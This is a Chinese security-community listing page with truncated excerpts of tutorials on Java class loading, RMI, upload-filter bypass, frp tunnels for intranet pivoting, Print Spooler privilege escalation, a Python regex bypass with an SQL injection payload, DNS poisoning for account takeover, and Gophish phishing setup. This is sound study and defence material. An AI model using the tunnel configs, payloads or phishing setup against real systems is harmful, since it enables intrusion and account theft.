java安全-java类加载器 SecIN安全技术社区

java安全-java类加载器

前言 java类加载器是JVM加载类到内存并运行的过程,这个过程有点复杂,除了系统自定义的三类加载器外,java运行用户编写自定义加载器来完成类的加载过程。java安全中常常需要远程加载恶意类文件来完成漏洞的利用,所以学习类加载器的编写也是很重要的。 类加载器 java系统定义了三类加载器,分别是BootstrapClassLoader,ExtensionClassLoader,AppClassLoader。其中BootstrapClassLoader由 C 语言代码实现,主要负责加载存储在$JAVA_HOME/jre/lib/rt.jar中的核心 Java 库,包括 JVM 本身。ExtensionClassLoader由sun.misc.Launcher$ExtClassLoader类实现。负责加载 JVM 扩展类,用来加载jrelibext的类,这些库名通常以 javax 开头,它们的 jar 包位于 $JAVA_HOME/lib/ext/*.jar 中,有很多 jar 包。AppClassLoader由sun.misc.Launcher$AppClassLoader实现。是直接面向我们用户的加载器,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录。 这三类加载器互相配合,完成了类的加载,这个过程比较复杂,而且还有一个比较重要的“双亲委派”机制,想要深入了解的同学可以看下老大难的 Java ClassLoader 再不理解就老了。 不过这里我们只需要重点关注下URLClassLoader和如何自定义类加载器就可以了。 URLClassLoader URLClassLoader扩展了ClassLoader,所以它在ClassLoader的基础上扩展了一些功能,这些扩展的功能中,最主要的一点就是URLClassLoader却可以加载任意路径下的类(ClassLoader只能加载classpath下面的类)。 在上篇的java反射介绍中,要实现动态加载类都是使用用Class.forName()这个方法,但是这个方法只能创建程序中已经引用的类,如果我们需要动态加载程序外的类,Class.forName()是不够的,这个时候就是需要使用URLClassLoader。 从本地文件加载外部类 首先先编写一个测试类,并将其编译为class文件。 ```java package com.classloader; public class test { public test(){ System.out.println("classloader test"); } } ``` 此时会在D:comclassloader文件夹下生成一个test.class文件。 URLClassLoader本地加载外部类示例: ```java package com.classloader; import java.io.File; import java.net.URL; import java.net.URLClassLoader; public class Demo1 { public static void main(String args) throws Exception { File file = new File("D:/"); URL url = file.toURI().toURL(); URLClassLoader urlClassLoader = new URLClassLoader(new URL{url}); //反射调用 Class<?> Cls = urlClassLoader.loadClass("com.classloader.test"); Cls.newInstance(); } } ``` 远程加载外部类 URLClassLoader远程加载外部类示例: 同上一步,将test.class文件放在远端的一个服务器上,使用http远程访问此文件。 地址为:http://1.14.47.152/test.class URLClassLoader远程加载外部类示例:...
阅读全文
java安全-java RMI SecIN安全技术社区

java安全-java RMI

前言 RPC全称为远程过程调用,通俗点讲就是可以在不同的设备上互联调用其方法,比如client可以远程调用server上的方法。而RMI是jdk中RPC的一种实现方式,通过RMI可以轻松的实现RPC而不必理会这其中复杂的调用过程。由于RMI的实现过程调用了java的序列化和反序列化,如果server端存在反序列化的利用条件,我们可在client端实现RMI反序列化攻击,从而在server端完成RCE。 RMI介绍 RMI,是Remote Method Invocation(远程方法调用)的缩写,即在一个JVM中java程序调用在另一个远程JVM中运行的java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。java RMI封装了远程调用的实现细节,进行简单的配置之后,就可以如同调用本地方法一样,比较透明地调用远端方法。 RMI 可以使用以下协议实现: Java Remote Method Protocol (JRMP):专门为 RMI 设计的协议 Internet Inter-ORB Protocol (IIOP) :基于 CORBA 实现的跨语言协议 RMI包括以下三个部分: Registry: 提供服务注册与服务获取。即Server端向Registry注册服务,比如地址、端口等一些信息,Client端从Registry获取远程对象的一些信息,如地址、端口等,然后进行远程调用。 Server: 远程方法的提供者,并向Registry注册自身提供的服务。 Client: 远程方法的消费者,从Registry获取远程方法的相关信息并且调用。 在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功。 RMI的工作原理如下图: 其实我们无需理会这复杂的过程,只需知道RMI如何使用即可。 要实现RMI,服务器和客户端必须共享同一个接口,且此接口必须派生自java.rmi.Remote,并在每个方法声明抛出RemoteException 服务端的实现类需要继承UnicastRemoteObject RMI服务端通过LocateRegistry.createRegistry创建Registry,并通过Naming.rebind将远程对象绑定到Registry RMI客户端通过Naming.lookup即可调用服务端的方法 RMI示例 定义HelloInterface接口 ```java package com.rmi; import java.rmi.Remote; import java.rmi.RemoteException; public interface HelloInterface extends Remote { String hello(String age) throws RemoteException; } ``` 实现HelloInterface接口 ```java package com.rmi; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class HelloImp extends UnicastRemoteObject implements HelloInterface{ protected HelloImp() throws RemoteException { } @Override public String hello(String age) throws RemoteException { return "hello" +" " + age; } } ``` RMI服务端 ```java package...
阅读全文
java安全-java 动态代理 SecIN安全技术社区

java安全-java 动态代理

前言 代理模式是一种设计模式,提供了对目标对象额外的访问方式,即通过代理对象访问目标对象,这样可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能。我理解的代理就是一个中间人,这个中间人不仅实现了代理对象的功能,还能自己添加一些功能。 静态代理 在说动态代理之前不得不提静态代理,静态代理的实现需要代理对象和目标对象实现一样的接口,用起来比较繁琐。 静态代理实现的步骤如下: ```txt 定义一个接口及其实现类 创建一个代理类同样实现这个接口 将目标对象注入进代理类,然后在代理类的对应方法调用目标类中的对应方法。这样的话,我们就可以通过代理类屏蔽对目标对象的访问,并且可以在目标方法执行前后做一些自己想做的事情。 ``` 静态代理代码实现: 定义hello接口 ```java package com.staticproxy; public interface hello { String say(String name); } ``` 实现hello接口 ```java package com.staticproxy; public class helloImpl implements hello{ @Override public String say(String name) { return name; } } ``` 创建代理类并同样实现hello接口 ```java package com.staticproxy; public class proxy implements hello{ private hello hello; public proxy(hello hello){ this.hello = hello; } @Override public String say(String name) { //调用方法之前,我们可以添加自己的操作 System.out.println("111111"); hello.say(name); //调用方法之后,我们可以添加自己的操作 System.out.println("222222"); return name; } } ``` 静态代理使用结果: ```java package com.staticproxy; public class test { public static void main(String args) { helloImpl hello = new helloImpl(); proxy proxy...
阅读全文
绕过后缀安全检查进行文件上传-2 SecIN安全技术社区

绕过后缀安全检查进行文件上传-2

引言   一般针对文件上传业务,主要判断是否有检查后缀名,同时要查看配置文件是否有设置白名单或者黑名单,如果没有的话,那么攻击者利用该缺陷上传类似webshell等恶意文件。前面分享了通过报错的方式来绕过后缀安全检查,传送门:https://sec-in.com/article/647。   实际业务中又发现的一处绕过后缀安全检查进行文件上传的实例,当前漏洞已经修复完毕 。提取关键的的漏洞代码做下复盘。 业务场景   上传业务接口是基于servlet实现的,主要用于图片的上传,首先判断当前request请求是否是multipart上传请求,是的话调用 processFileUpload方法: ```java public class UploadService extends HttpServlet implements Servlet { private boolean isAllowed; private String allowedExtName=new String{ "jpg","jpeg","bmp","gif","png"//图片 }; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { boolean isMultipart = ServletFileUpload.isMultipartContent(request); if (isMultipart){ processFileUpload(request,response); } } ...... } ```   查看 processFileUpload的具体实现,使用 DiskFileItemFactory进行上传,UploadListener应该是用作监听的,估计是有个进度条的展示。同时还设置了文件上传的最大值,不得超过100MB: java private void processFileUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("utf-8"); response.setCharacterEncoding("utf-8"); ...... String msg = ""; //建立工厂对象和文件上传对象 DiskFileItemFactory factory = new DiskFileItemFactory(); factory.setSizeThreshold(1048576); ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); //建立上传监听器和设置监听器 UploadListener listener = new UploadListener(); session.setAttribute("LISTENER",...
阅读全文
内网渗透之隐藏隧道搭建(下) SecIN安全技术社区

内网渗透之隐藏隧道搭建(下)

前沿 上篇主要讲一些常见的隧道搭建方法,比较常见的lck端口转发,ew隧道,nc隧道都有复现, 这篇我会完整的复现我比较常用的frp隧道搭建,包括怎么从一级代理到二级代理,以及环境配置 技多不压身,学习渗透总要多学习一些方法,对于我们总是好的 若是文章有错误或者不足,请多多指正 frp隧道代理 简介 搭建frp服务器进行内网穿透,可用且推荐,可以达到不错的速度,且理论上可以开放任何想要的端口,可以实现的功能远不止远程桌面或者文件共享。 frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务 ,它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容 frp知识 下载地址 https://github.com/fatedier/frp/releases 从一级代理到三级代理都完整写下每一个步骤 (使用frp的时候,必须分清楚是32位的还是64位的,win的和linux使用方法也不一样) frp分为客户端和服务端,要严格分清楚 (linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行) ``` chmod +x frps //给执行权限 ./frps -c frps.ini //举例子,要结合实际 ``` 配置文件扩展 按需求可以自己添加上 bind_addr = #绑定的ip,为本机 bind_port = #绑定的端口 dashboard_addr = #管理地址 dashboard_port = #管理端口 dashboard_user = #管理的用户名 dashboard_pwd = #管理用户的密码 token = #客户端服务端连接的密码 heartbeat_timeout = #心跳超时时间 max_pool_count = #最大同时连接数 frp优点 免杀 命令简单 (不管几级代理frp命令都是: 服务端的exe文件 -c 服务端配置文件) 逻辑简单 frp只走socks5的代理 (socks5比较稳定,支持协议比socks4多 ,流量转发也快) 一级代理 一级代理比较简单,分别配置客户端以及服务端文件就行 环境 我使用45.x.x.97作为我的vps 另一个以己经在cs上线的web服务器来作为演示 演示 文件配置 靶机: # frpc.ini server_addr = 45.x.x.97 server_port = 11000 type = tcp remote_port = 11666 plugin = socks5 VPS: # frps.ini bind_addr = 0.0.0.0...
阅读全文
tkMybatis中常见的注入场景 SecIN安全技术社区

tkMybatis中常见的注入场景

一、关于tkMybatis   Tkmybatis 是基于 Mybatis 框架开发的一个工具,通过调用它提供的方法实现对单表的数据操作,不需要写任何 sql 语句,极大地提高了项目开发效率。 1.1 相关依赖 xml <dependency> <groupId>tk.mybatis</groupId> <artifactId>mapper</artifactId> <version>版本号</version> </dependency> 1.2 使用方法   引入tk.mybatis的依赖后。定义数据库表映射类: java @Data public class User { private Long id; private String name; private Integer age; private String email; }   mapepr继承其提供的接口,常见的有: BaseMapper MySqlMapper IdsMapper ConditionMapper ExampleMapper   这里以BaseMapper为例: ```Java import tk.mybatis.mapper.common.BaseMapper; public interface UserMapper extends BaseMapper{ } ```   然后就可以调用接口中封装好的方法进行SQL操作了,例如通过selectAll查询所有的user信息: ```Java @Resource private UserMapper userMapper; @RequestMapping(value = "/getUserInfo") public List<User> getUserInfo(){ List<User> result =userMapper.selectAll(); return result; } ```   对应的方法实现原理也很简单,主要是通过mybatis的Provider注解来实现 的: ```java public interface SelectAllMapper { /* * 查询全部结果 * * @return / @SelectProvider(type = BaseSelectProvider.class, method = "dynamicSQL") List selectAll(); } ``` ```java /* *...
阅读全文
关于大火的Print Spooler漏洞的深度分析 SecIN安全技术社区

关于大火的Print Spooler漏洞的深度分析

本篇文章几天之前就整理好了,一直没有时间整理,往平台上发。 前言 前一段时间,Windows Print Spooler的CVE-2021-1675和CVE-2021-34527两个洞被炒的沸沸扬扬。漏洞的利用姿势也是越来越多样,由刚开始的本地提权演变为后来的远程RCE。本篇文章是我在复现这两个漏洞时,引发的一些思考。 祸不单行,16日PrintNightmare系统出现了第3枚0day,属于本地提权漏洞。 意外发现 网上关于这两个漏洞的细节分析已经非常详尽,下面简单介绍一下这两个漏洞的成因以及时间线。2021年6月8日,微软官方修复了一个存在于打印机服务Windows Print Spooler中的高危漏洞(CVE-2021-1675,下文简称为1675)。1675的漏洞成因在于AddPrinterDriverEx()中,函数逻辑校验不严格,利用该漏洞,攻击者可以将普通用户权限提升至System权限。之后,微软紧急发布补丁对该漏洞进行修复。但CVE-2021-34527绕过了微软的这个修复,34527使用到了另一个打印服务的API:RpcAsyncAddPrinterDriver,该函数同样存在校验不严格的问题,是一个严重的远程代码执行漏洞。 在漏洞复现过程中,发现了一个有趣的现象。用Process Monitor工具对攻击payload行为进行分析。如下图所示,spoolsv进程将恶意的MyPigDLL.dll文件写入了C:WindowsSystem32spooldriversx643目录下。同时,spoolsv进程向”HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlPrintEnvi ronmentsWindows x64DriverslVersion-3”注册表路径下添加注册表项(打印机程序在安装新的驱动过程中会修改此注册表,实现驱动的注册安装)。 在注册表编辑器中找到该项,可以看到普通用户只有读取权限,并没有写入权限。C:WindowsSystem32更是如此,普通用户没有权限向特权目录下拷贝文件。但是注册表确实被修改了,文件也拷贝成功了。这不由得引发了我的思考,当远程用户登录域控服务器时,调用spoolsv进程时,可能并没有没有模拟用户身份(token),用的是系统system权限。 为了验证我的想法,我在windows server2019上挂上windbg进行双机调试。用攻击机kali运行payload去攻击有漏洞的server 2019主机。 通过查看堆栈,找到创建注册表键值的函数,下断即可。 因为windbg是断在ring 0中,而spoolsv进程是ring 3的进程。所以我们还需要进行用户态进程切换。调试所用命令如下: !process 0 0 .process /r /p addr ba e1 addr(断点只能下内存断点,否则断不行) !token查看token 需要注意的是,由于调试环境属于双机调试,而不是直接attach的spoolsv进程。在下断点时,需要下内存断点,否则函数断不下来。 真相大白 查看调用RegCreateKeyExW()函数时的令牌,可以看到当域内低权限用户使用域控上打印机设备时,spoolsv进程并没有使用模拟token,而且直接使用了process token。而spoolsv进程本身权限是非常高的,S-1-5-18是SYSTEM账户的SID。 这也是为什么打印机容易爆出本地提权或者远程RCE的根本原因。spoolsv进程可以通过网络访问(域内普通账户即可访问),并且默认为system权限,如果不能正确处理client端发送过来的请求,很容易造成越权攻击,成为众矢之的。特别是在域内进行横向渗透时,简直不要太好用。 我们通过微软针对1675和34527打的补丁措施中也能印证这一点。说白了就是增加校验机制,来限制普通账户通过spoolsv进程进行特权操作。1675的补丁是在RpcAddPrinterDriverEx中,补丁增加了YIsInAdministratorGroup函数来判断当前用户是否在Administrator组中。34527补丁进一步增加了对于权限的校验,当YIsElevationReuqred函数返回True时,同样会清除flag中的APD_INSTALL_WARNED_DRIVER项。补丁详细分析可见https://blog.csdn.net/smellycat000/article/details/118561321 在1675和34527漏洞之前,spoolsv进程还出过一次糗事,以至于微软连续发布了三个补丁才将此漏洞进行修复。 前世今生 CVE-2020-1048 微软在2020年5月份发布补丁,用于修复存在于打印机中一个本地权限提升漏洞。之后的CVE-2020-1337和CVE-2020-17001都是对该漏洞补丁的绕过。该漏洞可以绕过在windows下添加打印机设备时,对port name检查,可以将任意内容输出到特权目录下,实现权限提升(例如dll劫持)。下面详细介绍一个这个漏洞成因。 微软为了方便低权限用户使用打印机服务,允许用户添加打印机驱动。添加完打印机驱动后,还需要设置打印机的端口。漏洞点就在此处,Windows支持多种类型的打印机端口:LPT1端口、USB端口、网络端口和文件等。若是设置端口为文件,则意味着打印机将数据打印到指定文件。我们可以把端口名设置为特权目录文件路径(如c:windowssystem32),造成任意目录文件写入。但是微软对此是有限制措施的,正常情况下,调用spoolsv进程时会校验用户权限(模拟token),如果低权限用户向特权目录写入时,会出错。 但是Printer Spooler服务程序在重启后,会以system权限去恢复未执行的打印作业,使得攻击者具有了System权限的任意文件写入能力。重启打印机服务可以通过两种渠道:1.直接重启打印机服务,但是需要高权限才能执行。2.重启主机即可。 下面进行攻击演示。演示所用POC链接均已放置在文末。 切换到低权限账户,执行CVE利用程序 可以看到打印机队列出现一个错误。 我们可以重启打印机服务或者重启电脑来重启打印机服务,错误的任务被执行,dll被成功写入。 CVE-2020-1337 之后微软对1048漏洞进行了修复,增加了对创建port时的判断逻辑。增添了IsValidNamedPipeOrCustomPort和PortIsValid来进行判断,但仍可以进行绕过。 IsValidNamedPipeOrCustomPort检测该port是否为命名管道,且是否可以通过createfile打开,如果不是命名管道,则会检测port中是否包含和/字符。PortIsValid则判断这个port是否合法,并通过创建port的文件句柄来检测是否拥有读写权限。两个函数只需有一个函数返回为ture,仍可成功创建port。我们以PortIsValid函数为突破点。我们通过创建junction(软链接)来进行绕过,在创建port时正常传入具有读写权限的路径,创建打印机后删除该目录,通过目录链接的方式,将此目录与system32目录进行链接。重启打印机后,仍会指向system32路径。 实际上,微软关于junction的漏洞非常多,如cve-2020-0787,cve-2019-1315等等。 下面进行攻击展示。攻击分为两步,第一步init阶段正常创建打印机设备,添加端口,并通过SetPrinter函数将打印机设置为PAUSE状态。 重启主机后,创建软链接,绑定system32目录。恢复Printer Spooler服务状态,进行漏洞利用。 CVE-2020-17001 微软添加了IsPortAlink函数,其中通过GetFinalPathNameByHandleW返回文件的真实路径,与port路径进行对比,来检测junction。但是GetFinalPathNameByHandleW对UNC链接的路径处理时逻辑不严格,函数返回的真实路径只是简单的在其前面增加了?UNC的前缀,并不会将其真正对应的link链接返回。所以我们将port的路径进行精心构造如\localhostc$testgetshell.dll的形式即可进行绕过。 此时,微软头疼不已,直接在重启打印机后,执行任务队列时增加了函数IsSpoolerImpersonating,检测当前进程权限是否正确合法。这才算上真正修复了这一系列漏洞。 如果从防御方角度来看的话,可以增加一个注册表回调,监控路径 HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionPorts,当写入的端口含有文件路径时,特别是.dll或者以.asp,.vbs这些可执行脚本文件后缀时,弹窗提醒。 危害升级 前面对漏洞进行了分析,漏洞危害主要在于可以向任意特权目录写入文件,我们如何在实战中进行漏洞利用呢。最直接的方式就是进行dll劫持。在打印机spoolsv服务或者fax服务重启过程中,会加载c:\system32ualapi.dll。更准确的说是调用uapapi.dll的导出函数UalStart。我们可以通过替换该dll,实施恶意攻击。 github有一个开源的faxhell项目,是一个编译好的dll文件,用于fax服务的dll劫持(spoolsv服务同理)。功能是绑定一个正向的shell等待服务端进行连接,并通过替换RpcSs的token,达到提权的目的。强烈建议大家阅读dll的源代码,特别是对线程池的操作,叹为观止。 参考链接: 1.https://blog.csdn.net/smellycat000/article/details/118561321 2.https://www.anquanke.com/post/id/222730 3.https://www.cnblogs.com/goabout2/p/13971925.html https://baijiahao.baidu.com/s?id=1674337103792495789&wfr=spider&for=pc Poc https://github.com/neofito/CVE-2020-1337 https://github.com/Ken-Abruzzi/CVE-2020-1048 https://github.com/ionescu007/faxhell https://bbs.pediy.com/thread-261557.htm 相关推荐: java安全-java类加载器前言 java类加载器是JVM加载类到内存并运行的过程,这个过程有点复杂,除了系统自定义的三类加载器外,java运行用户编写自定义加载器来完成类的加载过程。java安全中常常需要远程加载恶意类文件来完成漏洞的利用,所以学习类加载器的编写也是很重要的。 类加载器…
阅读全文
一个Python正则绕过技巧 SecIN安全技术社区

一个Python正则绕过技巧

译文来源: https://www.secjuice.com/python-re-match-bypass-technique/。受个人了解知识与个人偏见所限,部分内容可能存在过分曲解或误解,望各位包含并提出建议,十分感谢。 检查用户输入最常见的方法之一就是对照正则表达式进行测试。Python的RE模块提供了简单而又非常强大的函数来检查一个特定的字符串与一个给定的正则表达式是否相匹配(或者给定的正则表达式是否与特定字符串相匹配,总之说的是一个意思)。但有些时候,Python RE中包含的函数要么被误用,要么就是没有被开发人员很好地理解的情况,当你发现存在类似情况时,就有可能绕过这些脆弱的输入验证函数。 摘要:使用pythonre.match()函数来验证用户的输入时可能会导致绕过,因为它只对目标字符串的开头进行匹配,而不是对每一行的开头进行匹配。因此,可以通过将一个payload转换为多行形式,这样第二行的内容将会被该函数忽略。这就意味着如果存在这样一个防止在参数值中使用特殊字符的脆弱的验证函数(比方说验证参数为id=123),那么就可以将其转换为id=123\n'+OR+1=1--进行绕过。 在本文中,我将会向各位演示几种re.match()函数的错误用法。 Python提供了这两种基于正则表达式的不同的原始操作方法:re.match()只对字符串的开头进行匹配检查,而re.search()则是对整个字符串的内容进行匹配检查(这也是在Perl中的默认做法)。 举例说明: ```python re.match("c", "abcdef") # 不匹配 re.search("c", "abcdef") # 匹配 ``` 以'^'开头的正则表达式可以与search()搭配使用,以限制指定对字符串的开头进行匹配: ```python re.match("c", "abcdef") # 不匹配 re.search("^c", "abcdef") # 不匹配 re.search("^a", "abcdef") # 匹配 ``` 正如大家看到的那样,第一条re.match语句并没有匹配成功,因为它存在一个隐形的锚点,只匹配字符串的开头。而这一锚点并没有匹配到任何字符。其实,它们匹配的是字符之前、之后或之间的一个位置。它们可以用来在正则匹配中“锚定”准确位置的内容(https://www.regular-expressions.info/anchors.html)。 使用re.match()的输入验证 假设我这里有一个存在SQL注入漏洞的Python flask web应用。如果我通过参数id传递文章id编号,通过category传递种类名称,向/news发送一个HTTP请求,它就会返回给我关于该文章的内容。举例说明: ```python from flask import Flask from flask import request import re app = Flask(name) def is_valid_input(input): m = re.match(r'.(|select|union|from|where).', input, re.IGNORECASE) if m is not None: return False return True @app.route('/news', methods=) def news(): if request.method == 'POST': if "id" in request.form: if "category" in request.form: if is_valid_input(request.form) and is_valid_input(request.form): return f"OK: {request.form}/{request.form}" else: return f"Invalid value: {request.form}/{request.form}", 403 else: return "No...
阅读全文
ModSecurity 自建规则之路 SecIN安全技术社区

ModSecurity 自建规则之路

0x01 简介 ModSecurity是一个开源的、跨平台的Web应用防火墙,它可以通过检查Web服务接收到的数据,以及发送出去的数据来对网站进行安全防护。 ModSecurity有以下作用: SQL Injection (SQLi):阻止SQL注入 Cross Site Scripting (XSS):阻止跨站脚本攻击 Local File Inclusion (LFI):阻止利用本地文件包含漏洞进行攻击 Remote File Inclusione(RFI):阻止利用远程文件包含漏洞进行攻击 Remote Code Execution (RCE):阻止利用远程命令执行漏洞进行攻击 PHP Code Injectiod:阻止PHP代码注入 HTTP Protocol Violations:阻止违反HTTP协议的恶意访问 HTTPoxy:阻止利用远程代理感染漏洞进行攻击 Sshllshock:阻止利用Shellshock漏洞进行攻击 Session Fixation:阻止利用Session会话ID不变的漏洞进行攻击 Scanner Detection:阻止黑客扫描网站 Metadata/Error Leakages:阻止源代码/错误信息泄露 Project Honey Pot Blacklist:蜜罐项目黑名单 GeoIP Country Blocking:根据判断IP地址归属地来进行IP阻断 0x02 规则介绍 根据配置手册,我们了解到分为这几部分,包含配置指令,处置阶段、变量、转换函数、动作以及运算符。看过规则追后,个人感觉转换函数这个规则部分在自建规则这里使用不到,简单总结一下部分会用到的规则以及动作。 配置指令 SecRules 创建一个使用所选运算符分析指定变量的规则。 SecRule VARIABLES OPERATOR eg: SecRule ARGS "@rx attack" "phase:1,log,deny,id:1" 处理阶段 ModSecurity 2.x允许将规则置于Apache请求周期的以下五个阶段之一: 请求头(REQUEST_HEADERS) 请求体(REQUEST_BODY) 响应头(RESPONSE_HEADERS) 响应体(RESPONSE_BODY) 日志记录(LOGGING) 五个阶段图示如下: 变量 ARGS ARGS是一个集合,可以通过静态参数(匹配带有该名称的参数),或是通过正则表达式(匹配所有带有与正则表达式匹配的名称的参数)进行单独使用(包含所有参数,包括POST Payload),eg:(下面的“id”都为规则的id序号) SecRule ARGS dirty "id:7" #检查dirty所有请求参数的值 SecRule ARGS:p dirty "id:8" #查看名为p的参数的值(请注意,通常,请求可以包含多个具有相同名称的参数) ":"表示运算符 SecRule ARGS|!ARGS:z dirty "id:9" #检查单词dirty的所有请求参数的值,除了名为z的那些(同样,可以有零个或多个名为z的参数): Files 包含原始文件名的集合(因为它们是在远程用户的文件系统上调用的),eg: SecRule FILES "@rx .conf$" "id:xxx" FILES_NAMES 包含用于文件上载的表单字段列表,eg: SecRule FILES_NAMES "^upfile$" "id:xxx"...
阅读全文
针对忘记密码功能的Kaminsky攻击实现账户接管 SecIN安全技术社区

针对忘记密码功能的Kaminsky攻击实现账户接管

译文来源:https://sec-consult.com/blog/detail/forgot-password-taking-over-user-accounts-kaminsky-style/。受个人知识所限及看法偏见影响,部分内容可能存在过度曲解或误解。望师傅们包含并提出建议,感激。 "忘记密码"功能结合DNS漏洞攻击将可能导致用户账号接管 摘要 在分析了146个web应用的DNS域名解析漏洞后,Timo Longin(Vienna 安全顾问)发现,一些web应用程序中至今仍然存在漏洞。Kaminsky攻击以及IP碎片攻击可能会允许通过“忘记密码?”功能实现对web应用的用户账户接管。为了识别出存在漏洞的web应用,这里提供了DNS Reset Checker(DNS重置检查器)。 这种攻击向量对我有影响吗? 我该如何做好防护? 我应该对这种攻击向量保持警惕吗? 在后面的Q&A部分中将涵盖上述以及更多的问题。 忘记密码?功能 很难想象一个登录表单中如果没有这一功能会是什么样子。 指定邮箱地址 接收密码重置的URL 修改密码 这一操作非常简单!但是“忘记密码?”功能又是如何与DNS漏洞相关联的呢? 下面的情景将会让我们更容易理解这一问题: 假设攻击者能够将任意的DNS记录注入到web应用程序使用的DNS解析器的缓存中(这一操作称为DNS缓存投毒),那么他将能够操纵电子邮件域名与IP地址之间的映射。因此,像是“gmail.com”这样的DNS域名解析就不一定会再导向Google电子邮件服务器的IP地址,而是会导向攻击者电子邮件服务器的IP地址。 这样一来,攻击者就可以收到所有以“gmail.com”为目的地的电子邮件。其中就包括那些重置密码的邮件。 下图说明了这个问题: 因此,如果攻击者能够操纵web应用的DNS域名解析的话,“忘记密码?”的功能就会被滥用,以此来实现用户账户的接管。 Dan Kaminsky在2008年的BlackHat大会上已经介绍了该攻击向量。在Timo Longin的毕业论文“web应用程序中的DNS漏洞”中,对146个web应用程序进行了如下分析,表明该攻击向量在今天仍然具有相关性。 基本原理 那么,你是如何检查146个web应用的DNS域名解析是否存在漏洞的呢? 通过注册146个用户!重复多次操作! 当一个用户在一个web应用上进行注册时,web应用一般都会发送一封电子邮件来验证该邮箱是否有效。以该邮箱地址为例“[email protected]”。要想发送一封电子邮件,上述的邮箱地址域名就必须首先能够被解析为一个IP地址。因此,对于“analysis.example”来说,就必须先确定该电子邮件服务器的IP地址。经过几次DNS查询后,在一个发往“analysis.example”的权威域名服务器(ADNS)类型为“MX”的DNS查询中发现了结果(见图2)。 如果我们现在想分析web应用DNS域名解析情况的话,那么流向和来自ADNS的DNS流量就是一个合适的选择。为了使其能够以“on-path”的方式操纵DNS的查询与响应,有必要开发下图所示的“DNS代理”软件组件(见图3)。 该DNS代理能够允许读取和修改DNS查询,以及发送到ADNS的响应。因此,也就可以实现对DNS报文的被动分析,以及对DNS响应的主动操控。此外,该DNS代理或者说是整个分析服务器的源码都是在GitHub上免费提供的!(后续更新中将包含更多功能!) 简而言之:如果一个用户在一个web应用上进行注册操作,就有可能检查到web应用的DNS域名解析的属性。 用于DNS分析的电子邮箱地址 通过上面的配置,可以分析出web应用的DNS域名解析情况。但是,如果使用电子邮箱地址“[email protected]”在多个web应用中进行注册,会发生什么呢? 这将导致“analysis.example”会被多个web应用解析,并且不再可能区分来自不同web应用的DNS请求。出于这一原因,我们必须在不同的web应用中使用不同的电子邮箱地址注册用户。为此,我们采取了以下格式: [email protected] V:Versioning(版本号) A:检查特定攻击(attack)要求的方法 I:web应用的标识符(Identifier) 如果我们在测试运行1中检查一个web应用,用第一种方法(从0开始)和标识符1337,我们将采用以下电子邮件地址注册一个用户: [email protected] DNS攻击及其要求 关于这一点,可以对来自不同web应用的DNS流量进行区分。但实际上应该分析什么呢? 为了弄清这一点,我们研究了以前的DNS攻击,并将其分解以确定其攻击要求。通过这种方式,可以确定DNS域名解析必须具备哪些属性才是可攻击或是存在漏洞的。 请看以下两个例子: 攻击要求——IP分片:由Amir Herzberg和Haya Schulman发现的DNS攻击要求DNS解析器能够接受IP碎片化的DNS响应。这个要求可以通过使用DNS代理主动操纵DNS响应来进行检查。例如,用于测试IP碎片的DNS响应看起来如下(见表)。 ```sh ;; QUESTION SECTION: ;0100001337.analysis.example. IN MX ;; ANSWER SECTION: 0100001337.analysis.example. 5 IN MX 10 a.jlguehdhzo.if.0100001337.analysis.example. 0100001337.analysis.example. 5 IN MX 10 a.jlguehdhzo.if.0100001337.analysis.example. 0100001337.analysis.example. 5 IN MX 10 a.jlguehdhzo.if.0100001337.analysis.example. 0100001337.analysis.example. 5 IN MX 10 a.jlguehdhzo.if.0100001337.analysis.example. 0100001337.analysis.example. 5 IN MX 10 a.jlguehdhzo.if.0100001337.analysis.example. 0100001337.analysis.example. 5 IN MX 10 a.jlguehdhzo.if.0100001337.analysis.example. 0100001337.analysis.example. 5 IN MX 10...
阅读全文
Gophish的那点儿东西 SecIN安全技术社区

Gophish的那点儿东西

Gophish钓鱼的SAO操作 0x01介绍 Gophish 是一个功能强大的开源网络钓鱼框架。 0x02 安装 Github 地址 https://github.com/gophish/gophish/releases/tag/v0.11.0 windows下和linux下均可以搭建 这边我选择在Linux环境下搭建该框架 搭建环境:kali虚拟机 网卡状态桥接 [email protected]:/home/kali/Desktop/gophish# wget https://github.com/gophish/gophish/releases/download/v0.11.0/gophish-v0.11.0-linux-64bit.zip 然后解压压缩包 [email protected]:/home/kali/Desktop/gophish# unzip gophish-v0.11.0-linux-64bit.zip 修改配置文件*config.json* 启动gophish [email protected]:/home/kali/Desktop/gophish# ./gophish *注意* 在这里启动的时候可能会失败,使用sudo的权限依旧会提示”sudo: ./gophish: command not found“等其它异常,这个时候需要给”gophish“文件夹权限 [email protected]:/home/kali/Desktop/gophish# chmod -R 777 gophish 之后再重新启动 根据环境ip地址访问后台 *注意* 在V0.11.0版本中添加了密码策略,在之前的版本中账号密码为admin/gophish,在该新版本中添加了密码策略,密码为随机生成!!!然后登录重置密码即可!!! 后台主页面 0x03 平台功能 Dashboard 仪表板,查看整体测试情况 Campaigns 每次攻击前需要配置一次 Users & Groups 用户和用户组(添加需要进行钓鱼的邮箱和相关基础信息) Email Templates 电子邮件模板 Landing Pages 需要伪造的钓鱼页面 Sending Profiles 钓鱼邮箱发送配置 导航栏后面的功能为用户设置、用户管理。主要配置以及功能为上面的内容 0x04 搭建邮件服务器 搭建环境:ubuntu16.04 虚拟机网卡状态为桥接 参考链接:https://blog.csdn.net/sd4015700/article/details/21454729 安装postfix [email protected]:/home/wrs# apt-get install postfix 在安装的过程中,会提示输入选择类型和域名。分别填写"only localhost"和"localhost" 安装mailx软件包 [email protected]:/home/wrs# apt-get install 